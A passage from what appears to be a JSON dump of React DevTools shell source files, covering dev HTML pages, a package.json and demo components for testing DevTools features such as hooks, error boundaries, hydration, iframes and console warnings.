id=\"layout\">\n        <option value=\"leftright\">Left/Right Split</option>\n        <option value=\"topbottom\">Top/Bottom Split</option>\n      </select></label>\n  </div>\n\n  <div id=\"panes\">\n    <!-- React test app (shells/dev/app) is injected here -->\n    <!-- DevTools backend (shells/dev/src) is injected here -->\n    <!-- global \"hook\" is defined on the iframe's contentWindow -->\n    <iframe id=\"target\"></iframe>\n\n    <!-- Draggable divider between panes -->\n    <div id=\"divider\"></div>\n\n    <!-- DevTools frontend UI (shells/dev/src) renders here -->\n    <div id=\"devtools\"></div>\n  </div>\n\n  <!-- This script installs the hook, injects the backend, and renders the DevTools UI -->\n  <!-- In DEV mode, this file is served by the Webpack dev server -->\n  <!-- For production builds, it's built by Webpack and uploaded from the local file system -->\n  <script src=\"dist/app-devtools.js\"></script>\n  <script type=\"module\">\n    let layoutType = 'leftright';\n    let splitRatio = 0.5;\n    let isDragging = false;\n\n    // handle layout changes\n    const layout = document.getElementById('layout');\n    function setLayout(layoutType, splitRatio) {\n      const panes = document.getElementById('panes');\n      if (layoutType === 'topbottom') {\n        panes.style.setProperty('--top-row-height', `${splitRatio * 100}%`);\n        panes.style.gridTemplateRows = \"var(--top-row-height) 1fr\";\n        panes.style.gridTemplateColumns = null;\n      } else if (layoutType === 'leftright') {\n        panes.style.setProperty('--left-column-width', `${splitRatio * 100}%`);\n        panes.style.gridTemplateRows = null;\n        panes.style.gridTemplateColumns = \"var(--left-column-width) 1fr\";\n      }\n    }\n    layout.addEventListener('change', () => {\n      layoutType = layout.value;\n      setLayout(layoutType, splitRatio);\n      updateDividerPosition(); // Ensure divider updates when layout changes\n    });\n\n    // handle changing the split ratio\n    const divider = document.getElementById('divider');\n    function updateDividerPosition() {\n      if (layoutType === 'topbottom') {\n        // For top/bottom layout, divider should be horizontal (spanning across)\n        divider.className = 'horizontal-divider';\n        divider.style.top = `calc(${splitRatio * 100}%)`;\n        divider.style.left = '0';\n      } else {\n        // For left/right layout, divider should be vertical (spanning down)\n        divider.className = 'vertical-divider';\n        divider.style.left = `calc(${splitRatio * 100}%)`;\n        divider.style.top = '0';\n      }\n    }\n\n    // Add event listeners for dragging\n    divider.addEventListener('mousedown', (e) => {\n      isDragging = true;\n      divider.classList.add('dragging');\n\n      // Disable pointer events on the iframe to prevent it from capturing mouse events\n      const iframe = document.getElementById('target');\n      iframe.style.pointerEvents = 'none';\n\n      e.preventDefault(); // Prevent text selection during drag\n    });\n\n    document.addEventListener('mousemove', (e) => {\n      if (!isDragging) return;\n\n      const panes = document.getElementById('panes');\n      const rect = panes.getBoundingClientRect();\n\n      if (layoutType === 'topbottom') {\n        // Calculate new split ratio based on vertical position\n        const newRatio = Math.max(0.1, Math.min(0.9, (e.clientY - rect.top) / rect.height));\n        splitRatio = newRatio;\n      } else {\n        // Calculate new split ratio based on horizontal position\n        const newRatio = Math.max(0.1, Math.min(0.9, (e.clientX - rect.left) / rect.width));\n        splitRatio = newRatio;\n      }\n\n      // Update layout and divider position\n      setLayout(layoutType, splitRatio);\n      updateDividerPosition();\n    });\n\n    document.addEventListener('mouseup', () => {\n      if (isDragging) {\n        isDragging = false;\n        divider.classList.remove('dragging');\n\n        // Re-enable pointer events on the iframe\n        const iframe = document.getElementById('target');\n        iframe.style.pointerEvents = 'auto';\n      }\n    });\n\n    // Initialize\n    setLayout(\n      layoutType,\n      splitRatio,\n    );\n    updateDividerPosition();\n  </script>\n</body>\n\n</html>\n"
  },
  {
    "path": "packages/react-devtools-shell/multi.html",
    "content": "<!doctype html>\n<html>\n  <head>\n    <meta charset=\"utf8\">\n    <title>React DevTools</title>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    <style>\n      * {\n        box-sizing: border-box;\n      }\n      body {\n        display: flex;\n        flex-direction: row;\n        position: absolute;\n        top: 0;\n        left: 0;\n        right: 0;\n        bottom: 0;\n        margin: 0;\n        padding: 0;\n        font-family: -apple-system, BlinkMacSystemFont, Segoe UI, Helvetica, Arial,\n          sans-serif, Apple Color Emoji, Segoe UI Emoji, Segoe UI Symbol;\n        font-size: 12px;\n        line-height: 1.5;\n      }\n      .column {\n        display: flex;\n        flex-direction: column;\n        flex: 1 1 50%;\n      }\n      .column:first-of-type {\n        border-right: 1px solid #3d424a;\n      }\n      .iframe {\n        height: 50%;\n        flex: 0 0 50%;\n        border: none;\n      }\n      .devtools {\n        height: 50%;\n        flex: 0 0 50%;\n      }\n    </style>\n  </head>\n  <body>\n    <div class=\"column left-column\">\n      <iframe id=\"iframe-left\" class=\"iframe\"></iframe>\n      <div id=\"devtools-left\" class=\"devtools\"></div>\n    </div>\n    <div class=\"column\">\n      <iframe id=\"iframe-right\" class=\"iframe\"></iframe>\n      <div id=\"devtools-right\" class=\"devtools\"></div>\n    </div>\n\n    <script src=\"dist/multi-devtools.js\"></script>\n  </body>\n</html>"
  },
  {
    "path": "packages/react-devtools-shell/package.json",
    "content": "{\n  \"private\": true,\n  \"name\": \"react-devtools-shell\",\n  \"version\": \"0.0.0\",\n  \"scripts\": {\n    \"start\": \"cross-env NODE_ENV=development node ./webpack-server.js\"\n  },\n  \"dependencies\": {\n    \"immutable\": \"^4.0.0-rc.12\",\n    \"react-native-web\": \"0.0.0-26873b469\",\n    \"semver\": \"^6.3.0\"\n  },\n  \"devDependencies\": {\n    \"@babel/core\": \"^7.11.1\",\n    \"@babel/plugin-proposal-class-properties\": \"^7.10.4\",\n    \"@babel/plugin-transform-flow-strip-types\": \"^7.10.4\",\n    \"@babel/plugin-transform-react-jsx-source\": \"^7.10.5\",\n    \"@babel/preset-env\": \"^7.11.0\",\n    \"@babel/preset-flow\": \"^7.10.4\",\n    \"@babel/preset-react\": \"^7.10.4\",\n    \"babel-core\": \"^7.0.0-bridge\",\n    \"babel-eslint\": \"^9.0.0\",\n    \"babel-loader\": \"^8.0.4\",\n    \"cross-env\": \"^3.1.4\",\n    \"css-loader\": \"^1.0.1\",\n    \"raw-loader\": \"^3.1.0\",\n    \"style-loader\": \"^0.23.1\",\n    \"webpack\": \"^5.82.1\",\n    \"webpack-cli\": \"^5.1.1\",\n    \"webpack-dev-server\": \"^4.15.0\"\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/perf-regression.html",
    "content": "<!doctype html>\n<html>\n  <head>\n    <meta charset=\"utf8\">\n    <title>React DevTools</title>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    <style>\n      * {\n        box-sizing: border-box;\n      }\n      body {\n        margin: 0;\n        padding: 0;\n        font-family: -apple-system, BlinkMacSystemFont, Segoe UI, Helvetica, Arial,\n          sans-serif, Apple Color Emoji, Segoe UI Emoji, Segoe UI Symbol;\n        font-size: 12px;\n        line-height: 1.5;\n      }\n      #iframe {\n        position: absolute;\n        top: 0;\n        left: 0;\n        width: 100vw;\n        height: 60vh;\n      }\n      #devtools {\n        position: absolute;\n        bottom: 0;\n        left: 0;\n        width: 100vw;\n        height: 40vh;\n      }\n      #load-devtools {\n        margin: 20px;\n      }\n    </style>\n  </head>\n  <body>\n    <iframe id=\"iframe\"></iframe>\n    <div id=\"devtools\">\n      <button id=\"load-devtools\">Load DevTools</button>\n    </div>\n    <script src=\"dist/perf-regression-devtools.js\"></script>\n  </body>\n</html>"
  },
  {
    "path": "packages/react-devtools-shell/src/app/ActivityTree/index.js",
    "content": "import * as React from 'react';\nimport {useState} from 'react';\n\nconst Activity = React.Activity || React.unstable_Activity;\n\nfunction Profile({name}) {\n  return (\n    <div>\n      <h4>{name}</h4>\n      <Bio />\n    </div>\n  );\n}\n\nfunction Bio() {\n  return <p>This is a bio section.</p>;\n}\n\nexport default function ActivityTree() {\n  const [mode, setMode] = useState('hidden');\n\n  if (Activity == null) {\n    return null;\n  }\n\n  return (\n    <>\n      <h2>Activity</h2>\n      <button\n        onClick={() => setMode(m => (m === 'visible' ? 'hidden' : 'visible'))}>\n        Toggle mode (current: {mode})\n      </button>\n      <Activity mode={mode} name=\"profile-panel\">\n        <Profile name=\"Alice\" />\n        <Profile name=\"Bob\" />\n      </Activity>\n    </>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/DeeplyNestedComponents/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {Fragment} from 'react';\n\nfunction wrapWithHoc(Component: () => any, index: number) {\n  function HOC() {\n    return <Component />;\n  }\n\n  const displayName = (Component: any).displayName || Component.name;\n\n  HOC.displayName = `withHoc${index}(${displayName})`;\n  return HOC;\n}\n\nfunction wrapWithNested(Component: () => any, times: number) {\n  for (let i = 0; i < times; i++) {\n    Component = wrapWithHoc(Component, i);\n  }\n\n  return Component;\n}\n\nfunction Nested() {\n  return <div>Deeply nested div</div>;\n}\n\nconst DeeplyNested = wrapWithNested(Nested, 100);\n\nexport default function DeeplyNestedComponents(): React.Node {\n  return (\n    <Fragment>\n      <h1>Deeply nested component</h1>\n      <DeeplyNested />\n    </Fragment>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/EditableProps/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactContext} from 'shared/ReactTypes';\nimport * as React from 'react';\nimport {\n  createContext,\n  Component,\n  forwardRef,\n  Fragment,\n  memo,\n  useCallback,\n  useDebugValue,\n  useEffect,\n  useReducer,\n  useState,\n} from 'react';\n\nconst initialData = {foo: 'FOO', bar: 'BAR'};\n\n// $FlowFixMe[missing-local-annot]\nfunction reducer(state, action: {type: string}) {\n  switch (action.type) {\n    case 'swap':\n      return {foo: state.bar, bar: state.foo};\n    default:\n      throw new Error();\n  }\n}\n\ntype StatefulFunctionProps = {name: string};\n\nfunction StatefulFunction({name}: StatefulFunctionProps) {\n  const [count, updateCount] = useState(0);\n  const debouncedCount = useDebounce(count, 1000);\n  const handleUpdateCountClick = useCallback(\n    () => updateCount(count + 1),\n    [count],\n  );\n\n  const [data, dispatch] = useReducer(reducer, initialData);\n  const handleUpdateReducerClick = useCallback(\n    () => dispatch({type: 'swap'}),\n    [],\n  );\n\n  return (\n    <ul>\n      <li>Name: {name}</li>\n      <li>\n        <button onClick={handleUpdateCountClick}>\n          Debounced count: {debouncedCount}\n        </button>\n      </li>\n      <li>\n        Reducer state: foo \"{data.foo}\", bar \"{data.bar}\"\n      </li>\n      <li>\n        <button onClick={handleUpdateReducerClick}>Swap reducer values</button>\n      </li>\n    </ul>\n  );\n}\n\nconst BoolContext = createContext(true);\nBoolContext.displayName = 'BoolContext';\n\ntype Props = {name: string, toggle: boolean};\ntype State = {cities: Array<string>, state: string};\n\nclass StatefulClass extends Component<Props, State> {\n  static contextType: ReactContext<boolean> = BoolContext;\n\n  state: State = {\n    cities: ['San Francisco', 'San Jose'],\n    state: 'California',\n  };\n\n  // $FlowFixMe[missing-local-annot]\n  handleChange = ({target}): any =>\n    this.setState({\n      state: target.value,\n    });\n\n  render(): any {\n    return (\n      <ul>\n        <li>Name: {this.props.name}</li>\n        <li>Toggle: {this.props.toggle ? 'true' : 'false'}</li>\n        <li>\n          State: <input value={this.state.state} onChange={this.handleChange} />\n        </li>\n        <li>Cities: {this.state.cities.join(', ')}</li>\n        <li>Context: {this.context ? 'true' : 'false'}</li>\n      </ul>\n    );\n  }\n}\n\nconst MemoizedStatefulClass = memo(StatefulClass);\nconst MemoizedStatefulFunction = memo(StatefulFunction);\n\nconst ForwardRef = forwardRef<{name: string}, HTMLUListElement>(\n  ({name}, ref) => {\n    const [count, updateCount] = useState(0);\n    const debouncedCount = useDebounce(count, 1000);\n    const handleUpdateCountClick = useCallback(\n      () => updateCount(count + 1),\n      [count],\n    );\n    return (\n      <ul ref={ref}>\n        <li>Name: {name}</li>\n        <li>\n          <button onClick={handleUpdateCountClick}>\n            Debounced count: {debouncedCount}\n          </button>\n        </li>\n      </ul>\n    );\n  },\n);\n\nexport default function EditableProps(): React.Node {\n  return (\n    <Fragment>\n      <h1>Editable props</h1>\n      <strong>Class</strong>\n      <StatefulClass name=\"Brian\" toggle={true} />\n      <strong>Function</strong>\n      <StatefulFunction name=\"Brian\" />\n      <strong>Memoized Class</strong>\n      <MemoizedStatefulClass name=\"Brian\" toggle={true} />\n      <strong>Memoized Function</strong>\n      <MemoizedStatefulFunction name=\"Brian\" />\n      <strong>Forward Ref</strong>\n      <ForwardRef name=\"Brian\" />\n    </Fragment>\n  );\n}\n\n// Below copied from https://usehooks.com/\nfunction useDebounce(value: number, delay: number) {\n  // State and setters for debounced value\n  const [debouncedValue, setDebouncedValue] = useState(value);\n\n  // Show the value in DevTools\n  useDebugValue(debouncedValue);\n\n  useEffect(\n    () => {\n      // Update debounced value after delay\n      const handler = setTimeout(() => {\n        setDebouncedValue(value);\n      }, delay);\n\n      // Cancel the timeout if value changes (also on delay change or unmount)\n      // This is how we prevent debounced value from updating if value is changed ...\n      // .. within the delay period. Timeout gets cleared and restarted.\n      return () => {\n        clearTimeout(handler);\n      };\n    },\n    [value, delay], // Only re-call effect if value or delay changes\n  );\n\n  return debouncedValue;\n}\n// Above copied from https://usehooks.com/\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/ElementTypes/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {\n  createContext,\n  forwardRef,\n  lazy,\n  memo,\n  Component,\n  Fragment,\n  Profiler,\n  StrictMode,\n  Suspense,\n} from 'react';\n\nconst Context = createContext('abc');\nContext.displayName = 'ExampleContext';\n\nclass ClassComponent extends Component<any> {\n  render(): null {\n    return null;\n  }\n}\n\nfunction FunctionComponent() {\n  return null;\n}\n\nconst MemoFunctionComponent = memo(FunctionComponent);\n\nconst ForwardRefComponentWithAnonymousFunction = forwardRef((props, ref) => (\n  <ClassComponent ref={ref} {...props} />\n));\nconst ForwardRefComponent = forwardRef(function NamedInnerFunction(props, ref) {\n  return <ClassComponent ref={ref} {...props} />;\n});\nconst ForwardRefComponentWithCustomDisplayName = forwardRef((props, ref) => (\n  <ClassComponent ref={ref} {...props} />\n));\nForwardRefComponentWithCustomDisplayName.displayName = 'Custom';\n\nconst LazyComponent = lazy(() =>\n  Promise.resolve({\n    default: FunctionComponent,\n  }),\n);\n\nexport default function ElementTypes(): React.Node {\n  return (\n    <Profiler id=\"test\" onRender={() => {}}>\n      <Fragment>\n        <Context.Provider value={'def'}>\n          <Context.Consumer>{(value: $FlowFixMe) => null}</Context.Consumer>\n        </Context.Provider>\n        <StrictMode>\n          <Suspense fallback={<div>Loading...</div>}>\n            <ClassComponent />\n            <FunctionComponent />\n            <MemoFunctionComponent />\n            <ForwardRefComponent />\n            <ForwardRefComponentWithAnonymousFunction />\n            <ForwardRefComponentWithCustomDisplayName />\n            <LazyComponent />\n          </Suspense>\n        </StrictMode>\n      </Fragment>\n    </Profiler>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/ErrorBoundaries/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {Fragment} from 'react';\n\nclass ErrorBoundary extends React.Component {\n  state: {hasError: boolean} = {hasError: false};\n\n  static getDerivedStateFromError(error: any): {hasError: boolean} {\n    return {hasError: true};\n  }\n\n  render(): any {\n    const {hasError} = this.state;\n    if (hasError) {\n      return (\n        <div\n          style={{\n            color: 'red',\n            border: '1px solid red',\n            borderRadius: '0.25rem',\n            margin: '0.5rem',\n            padding: '0.5rem',\n          }}>\n          An error was thrown.\n        </div>\n      );\n    }\n\n    const {children} = this.props;\n    return (\n      <div\n        style={{\n          border: '1px solid gray',\n          borderRadius: '0.25rem',\n          margin: '0.5rem',\n          padding: '0.5rem',\n        }}>\n        {children}\n      </div>\n    );\n  }\n}\n\n// $FlowFixMe[missing-local-annot]\nfunction Component({label}) {\n  return <div>{label}</div>;\n}\n\nexport default function ErrorBoundaries(): React.Node {\n  return (\n    <Fragment>\n      <h1>Nested error boundaries demo</h1>\n      <ErrorBoundary>\n        <Component label=\"Outer component\" />\n        <ErrorBoundary>\n          <Component label=\"Inner component\" />\n        </ErrorBoundary>\n      </ErrorBoundary>\n      <ErrorBoundary>\n        <Component label=\"Neighbour component\" />\n      </ErrorBoundary>\n    </Fragment>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/Hydration/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {Fragment, useDebugValue, useState} from 'react';\n\nconst div = document.createElement('div');\nconst exampleFunction = () => {};\nconst typedArray = new Uint8Array(3);\ntypedArray[0] = 1;\ntypedArray[1] = 2;\ntypedArray[2] = 3;\n\nconst arrayOfArrays = [\n  [\n    ['a', 'b', 'c'],\n    ['d', 'e', 'f'],\n    ['h', 'i', 'j'],\n  ],\n  [\n    ['k', 'l', 'm'],\n    ['n', 'o', 'p'],\n    ['q', 'r', 's'],\n  ],\n  [['t', 'u', 'v'], ['w', 'x', 'y'], ['z']],\n  [],\n];\n\nconst objectOfObjects = {\n  foo: {\n    a: 1,\n    b: 2,\n    c: 3,\n  },\n  bar: {\n    e: 4,\n    f: 5,\n    g: 6,\n  },\n  baz: {\n    h: 7,\n    i: 8,\n    j: 9,\n  },\n  qux: {},\n  quux: {\n    k: undefined,\n    l: null,\n  },\n};\n\nfunction useOuterFoo() {\n  useDebugValue({\n    debugA: {\n      debugB: {\n        debugC: 'abc',\n      },\n    },\n  });\n  useState({\n    valueA: {\n      valueB: {\n        valueC: 'abc',\n      },\n    },\n  });\n  return useInnerFoo();\n}\n\nfunction useInnerFoo() {\n  const [value] = useState([[['a', 'b', 'c']]]);\n  return value;\n}\n\nfunction useOuterBar() {\n  useDebugValue({\n    debugA: {\n      debugB: {\n        debugC: 'abc',\n      },\n    },\n  });\n  return useInnerBar();\n}\n\nfunction useInnerBar() {\n  useDebugValue({\n    debugA: {\n      debugB: {\n        debugC: 'abc',\n      },\n    },\n  });\n  const [count] = useState(123);\n  return count;\n}\n\nfunction useOuterBaz() {\n  return useInnerBaz();\n}\n\nfunction useInnerBaz() {\n  const [count] = useState(123);\n  return count;\n}\n\nconst unusedPromise = Promise.resolve();\nconst usedFulfilledPromise = Promise.resolve();\nconst usedFulfilledRichPromise = Promise.resolve({\n  some: {\n    deeply: {\n      nested: {\n        object: {\n          string: 'test',\n          fn: () => {},\n        },\n      },\n    },\n  },\n});\nconst usedPendingPromise = new Promise(resolve => {});\nconst usedRejectedPromise = Promise.reject(\n  // eslint-disable-next-line react-internal/prod-error-codes\n  new Error('test-error-do-not-surface'),\n);\n\nclass DigestError extends Error {\n  digest: string;\n  constructor(message: string, options: any, digest: string) {\n    super(message, options);\n    this.digest = digest;\n  }\n}\n\nexport default function Hydration(): React.Node {\n  return (\n    <Fragment>\n      <h1>Hydration</h1>\n      <DehydratableProps\n        html_element={div}\n        fn={exampleFunction}\n        symbol={Symbol('symbol')}\n        react_element={<span />}\n        array_buffer={typedArray.buffer}\n        typed_array={typedArray}\n        date={new Date()}\n        array={arrayOfArrays}\n        object={objectOfObjects}\n        unusedPromise={unusedPromise}\n        usedFulfilledPromise={usedFulfilledPromise}\n        usedFulfilledRichPromise={usedFulfilledRichPromise}\n        usedPendingPromise={usedPendingPromise}\n        usedRejectedPromise={usedRejectedPromise}\n        // eslint-disable-next-line react-internal/prod-error-codes\n        error={new Error('test')}\n        // eslint-disable-next-line react-internal/prod-error-codes\n        errorWithCause={new Error('one', {cause: new TypeError('two')})}\n        errorWithDigest={new DigestError('test', {}, 'some-digest')}\n        // $FlowFixMe[cannot-resolve-name] Flow doesn't know about DOMException\n        domexception={new DOMException('test')}\n      />\n      <DeepHooks />\n    </Fragment>\n  );\n}\n\nfunction Use({value}: {value: Promise<mixed>}): React.Node {\n  React.use(value);\n  return null;\n}\n\nclass IgnoreErrors extends React.Component {\n  state: {hasError: boolean} = {hasError: false};\n  static getDerivedStateFromError(): {hasError: boolean} {\n    return {hasError: true};\n  }\n\n  render(): React.Node {\n    if (this.state.hasError) {\n      return null;\n    }\n    return this.props.children;\n  }\n}\n\nfunction DehydratableProps({array, object}: any) {\n  return (\n    <ul>\n      <li>array: {JSON.stringify(array, null, 2)}</li>\n      <li>object: {JSON.stringify(object, null, 2)}</li>\n      <React.Suspense>\n        <Use value={usedPendingPromise} />\n      </React.Suspense>\n      <React.Suspense>\n        <Use value={usedFulfilledPromise} />\n      </React.Suspense>\n      <React.Suspense>\n        <Use value={usedFulfilledRichPromise} />\n      </React.Suspense>\n      <IgnoreErrors>\n        <React.Suspense>\n          <Use value={usedRejectedPromise} />\n        </React.Suspense>\n      </IgnoreErrors>\n    </ul>\n  );\n}\n\nfunction DeepHooks(props: any) {\n  const foo = useOuterFoo();\n  const bar = useOuterBar();\n  const baz = useOuterBaz();\n  return (\n    <ul>\n      <li>foo: {foo}</li>\n      <li>bar: {bar}</li>\n      <li>baz: {baz}</li>\n    </ul>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/Iframe/index.js",
    "content": "/** @flow */\n\nimport * as React from 'react';\nimport {Fragment} from 'react';\nimport {createPortal} from 'react-dom';\n\nexport default function Iframe(): React.Node {\n  return (\n    <Fragment>\n      <h2>Iframe</h2>\n      <div>\n        <Frame>\n          <Greeting />\n        </Frame>\n      </div>\n    </Fragment>\n  );\n}\n\nconst iframeStyle = {border: '2px solid #eee', height: 80};\n\n// $FlowFixMe[missing-local-annot]\nfunction Frame(props) {\n  const [element, setElement] = React.useState(null);\n\n  const ref = React.useRef();\n\n  React.useLayoutEffect(function () {\n    const iframe = ref.current;\n\n    if (iframe) {\n      const html = `\n    <!DOCTYPE html>\n    <html>\n    <body>\n      <div id=\"root\"></div>\n    </body>\n    </html>\n    `;\n\n      const document = iframe.contentDocument;\n\n      document.open();\n      document.write(html);\n      document.close();\n\n      setElement(document.getElementById('root'));\n    }\n  }, []);\n\n  return (\n    <Fragment>\n      <iframe title=\"Test Iframe\" ref={ref} style={iframeStyle} />\n      <iframe\n        title=\"Secured Iframe\"\n        src=\"https://example.com\"\n        style={iframeStyle}\n      />\n\n      {element ? createPortal(props.children, element) : null}\n    </Fragment>\n  );\n}\n\nfunction Greeting() {\n  return (\n    <p>\n      Hello from within an <code>&lt;iframe&gt;</code>!\n    </p>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/InlineWarnings/index.js",
    "content": "/** @flow */\n\nimport * as React from 'react';\nimport {Fragment, useEffect, useRef, useState} from 'react';\n\n// $FlowFixMe[missing-local-annot]\nfunction WarnDuringRender({children = null}) {\n  console.warn('This warning fires during every render');\n  return children;\n}\n\n// $FlowFixMe[missing-local-annot]\nfunction WarnOnMount({children = null}) {\n  useEffect(() => {\n    console.warn('This warning fires on initial mount only');\n  }, []);\n  return children;\n}\n\n// $FlowFixMe[missing-local-annot]\nfunction WarnOnUpdate({children = null}) {\n  const didMountRef = useRef(false);\n  useEffect(() => {\n    if (didMountRef.current) {\n      console.warn('This warning fires on every update');\n    } else {\n      didMountRef.current = true;\n    }\n  });\n  return children;\n}\n\n// $FlowFixMe[missing-local-annot]\nfunction WarnOnUnmount({children = null}) {\n  useEffect(() => {\n    return () => {\n      console.warn('This warning fires on unmount');\n    };\n  }, []);\n  return children;\n}\n\n// $FlowFixMe[missing-local-annot]\nfunction ErrorDuringRender({children = null}) {\n  console.error('This error fires during every render');\n  return children;\n}\n\n// $FlowFixMe[missing-local-annot]\nfunction ErrorOnMount({children = null}) {\n  useEffect(() => {\n    console.error('This error fires on initial mount only');\n  }, []);\n  return children;\n}\n\n// $FlowFixMe[missing-local-annot]\nfunction ErrorOnUpdate({children = null}) {\n  const didMountRef = useRef(false);\n  useEffect(() => {\n    if (didMountRef.current) {\n      console.error('This error fires on every update');\n    } else {\n      didMountRef.current = true;\n    }\n  });\n  return children;\n}\n\n// $FlowFixMe[missing-local-annot]\nfunction ErrorOnUnmount({children = null}) {\n  useEffect(() => {\n    return () => {\n      console.error('This error fires on unmount');\n    };\n  }, []);\n  return children;\n}\n\n// $FlowFixMe[missing-local-annot]\nfunction ErrorAndWarningDuringRender({children = null}) {\n  console.warn('This warning fires during every render');\n  console.error('This error fires during every render');\n  return children;\n}\n\n// $FlowFixMe[missing-local-annot]\nfunction ErrorAndWarningOnMount({children = null}) {\n  useEffect(() => {\n    console.warn('This warning fires on initial mount only');\n    console.error('This error fires on initial mount only');\n  }, []);\n  return children;\n}\n\n// $FlowFixMe[missing-local-annot]\nfunction ErrorAndWarningOnUpdate({children = null}) {\n  const didMountRef = useRef(false);\n  useEffect(() => {\n    if (didMountRef.current) {\n      console.warn('This warning fires on every update');\n      console.error('This error fires on every update');\n    } else {\n      didMountRef.current = true;\n    }\n  });\n  return children;\n}\n\n// $FlowFixMe[missing-local-annot]\nfunction ErrorAndWarningOnUnmount({children = null}) {\n  useEffect(() => {\n    return () => {\n      console.warn('This warning fires on unmount');\n      console.error('This error fires on unmount');\n    };\n  }, []);\n  return children;\n}\n\n// $FlowFixMe[missing-local-annot]\nfunction ReallyLongErrorMessageThatWillCauseTextToBeTruncated({\n  children = null,\n}) {\n  console.error(\n    'This error is a really long error message that should cause the text to be truncated in DevTools',\n  );\n  return children;\n}\n\n// $FlowFixMe[missing-local-annot]\nfunction ErrorWithMultipleArgs({children = null}) {\n  console.error('This error', 'passes console', 4, 'arguments');\n  return children;\n}\n\n// $FlowFixMe[missing-local-annot]\nfunction ErrorWithStringSubstitutions({children = null}) {\n  console.error('This error uses \"%s\" substitutions', 'string');\n  return children;\n}\n\n// $FlowFixMe[missing-local-annot]\nfunction ReactErrorOnHostComponent({children = null}) {\n  return <div data-camelCasedAttribute=\"should-lower-case\">{children}</div>;\n}\n\n// $FlowFixMe[missing-local-annot]\nfunction DuplicateWarningsAndErrors({children = null}) {\n  console.warn('this warning is logged twice per render');\n  console.warn('this warning is logged twice per render');\n  console.error('this error is logged twice per render');\n  console.error('this error is logged twice per render');\n  return <div data-camelCasedAttribute=\"should-lower-case\">{children}</div>;\n}\n\n// $FlowFixMe[missing-local-annot]\nfunction MultipleWarningsAndErrors({children = null}) {\n  console.warn('this is the first warning logged');\n  console.warn('this is the second warning logged');\n  console.error('this is the first error logged');\n  console.error('this is the second error logged');\n  return <div data-camelCasedAttribute=\"should-lower-case\">{children}</div>;\n}\n\n// $FlowFixMe[missing-local-annot]\nfunction ComponentWithMissingKey({children}) {\n  return [<div />];\n}\n\nfunction ComponentWithSymbolWarning() {\n  console.warn('this is a symbol', Symbol('foo'));\n  console.error('this is a symbol', Symbol.for('bar'));\n  return null;\n}\n\nexport default function ErrorsAndWarnings(): React.Node {\n  const [count, setCount] = useState(0);\n  const handleClick = () => setCount(count + 1);\n  return (\n    <Fragment>\n      <h1>Inline warnings</h1>\n      <button onClick={handleClick}>Update {count > 0 ? count : ''}</button>\n      <ComponentWithMissingKey />\n      <WarnDuringRender />\n      <WarnOnMount />\n      <WarnOnUpdate />\n      {count === 0 ? <WarnOnUnmount /> : null}\n      {count === 0 ? <WarnOnMount /> : null}\n      <ErrorDuringRender />\n      <ErrorOnMount />\n      <ErrorOnUpdate />\n      {count === 0 ? <ErrorOnUnmount /> : null}\n      <ErrorAndWarningDuringRender />\n      <ErrorAndWarningOnMount />\n      <ErrorAndWarningOnUpdate />\n      {count === 0 ? <ErrorAndWarningOnUnmount /> : null}\n      <ErrorWithMultipleArgs />\n      <ErrorWithStringSubstitutions />\n      <ReactErrorOnHostComponent />\n      <ReallyLongErrorMessageThatWillCauseTextToBeTruncated />\n      <DuplicateWarningsAndErrors />\n      <MultipleWarningsAndErrors />\n      <ComponentWithSymbolWarning />\n    </Fragment>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/InspectableElements/CircularReferences.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\n\nconst arrayOne: $FlowFixMe = [];\nconst arrayTwo: $FlowFixMe = [];\narrayTwo.push(arrayOne);\narrayOne.push(arrayTwo);\n\ntype ObjectOne = {\n  objectTwo?: ObjectTwo,\n};\ntype ObjectTwo = {\n  objectOne: ObjectOne,\n};\n\nconst objectOne: ObjectOne = {};\nconst objectTwo: ObjectTwo = {objectOne};\nobjectOne.objectTwo = objectTwo;\n\nexport default function CircularReferences(): React.Node {\n  return <ChildComponent arrayOne={arrayOne} objectOne={objectOne} />;\n}\n\nfunction ChildComponent(props: any) {\n  return null;\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/InspectableElements/Contexts.js",
